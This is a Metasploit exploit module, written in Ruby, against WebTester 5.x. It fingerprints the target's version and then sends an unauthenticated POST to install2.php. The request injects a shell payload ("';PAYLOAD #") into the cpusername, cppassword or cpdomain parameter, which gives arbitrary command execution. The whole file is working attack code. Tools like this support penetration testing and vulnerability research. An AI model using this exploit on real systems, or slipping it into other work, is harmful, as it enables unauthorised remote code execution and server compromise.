WebTester 5.x Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "WebTester 5.x Command Execution",
      'Description'    => %q{
          This module exploits a command execution vulnerability in WebTester
        version 5.x. The 'install2.php' file allows unauthenticated users to
        execute arbitrary commands in the 'cpusername', 'cppassword' and
        'cpdomain' parameters.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bcoles'  # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB',    '98750'],
          ['URL',      'https://sourceforge.net/p/webtesteronline/bugs/3/']
        ],
      'Payload'        =>
        {
            'Space'       => 8190, # Just a big value, injection on POST variable
            'DisableNops' => true,
            'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          # Tested on WebTester v5.1.20101016
          [ 'WebTester version 5.x', { 'auto' => true } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-10-17',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
        ])
  end

  #
  # Checks if target is running WebTester version 5.x
  #
  def check
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })

    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /Eppler Software/
      if res.body =~ / - v5\.1\.20101016/
        vprint_status("Found version: 5.1.20101016")
        return Exploit::CheckCode::Appears
      elsif res.body =~ / - v(5\.[\d\.]+)/
        vprint_status("Found version: #{$1}")
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Detected
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    vuln_params = [
      'cpusername',
      'cppassword',
      'cpdomain'
    ]
    print_status("Sending payload (#{payload.encoded.length} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'install2.php'),
      'vars_post'  => {
        'createdb' => 'yes',
        'cpanel'   => 'yes',
        "#{vuln_params.sample}" => "';#{payload.encoded} #"
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200 and res.body =~ /Failed to connect to database server/
      print_good("Payload sent successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end

  end
end